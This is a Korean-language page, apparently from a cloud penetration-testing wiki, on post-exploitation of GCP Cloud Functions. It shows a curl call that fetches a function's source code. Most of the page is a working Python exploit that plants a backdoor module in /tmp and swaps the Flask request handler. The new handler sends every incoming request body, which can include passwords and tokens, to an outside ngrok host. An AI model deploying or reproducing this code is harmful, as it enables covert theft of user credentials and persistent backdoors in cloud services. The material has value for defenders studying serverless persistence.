GCP - Cloud Functions Post Exploitation

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Cloud Functions

Cloud Functions에 대한 정보를 찾으세요:

GCP - Cloud Functions Enum

cloudfunctions.functions.sourceCodeGet

이 권한을 사용하면 Cloud Function의 소스 코드를 다운로드할 수 있는 서명된 URL을 얻을 수 있습니다:

curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

클라우드 함수 요청 훔치기

클라우드 함수가 사용자가 전송하는 민감한 정보를 관리하고 있다면(예: 비밀번호 또는 토큰), 충분한 권한이 있다면 함수의 소스 코드를 수정하고 이 정보를 유출할 수 있습니다.

게다가, 파이썬에서 실행되는 클라우드 함수는 flask를 사용하여 웹 서버를 노출합니다. 만약 플라스크 프로세스 내에서 코드 주입 취약점(예: SSTI 취약점)을 발견한다면, HTTP 요청을 받을 함수 핸들러를 덮어쓰는 것이 가능하며, 이를 통해 악성 함수가 요청을 유출한 후 정당한 핸들러에 전달할 수 있습니다.

예를 들어, 이 코드는 공격을 구현합니다:

import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"



# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)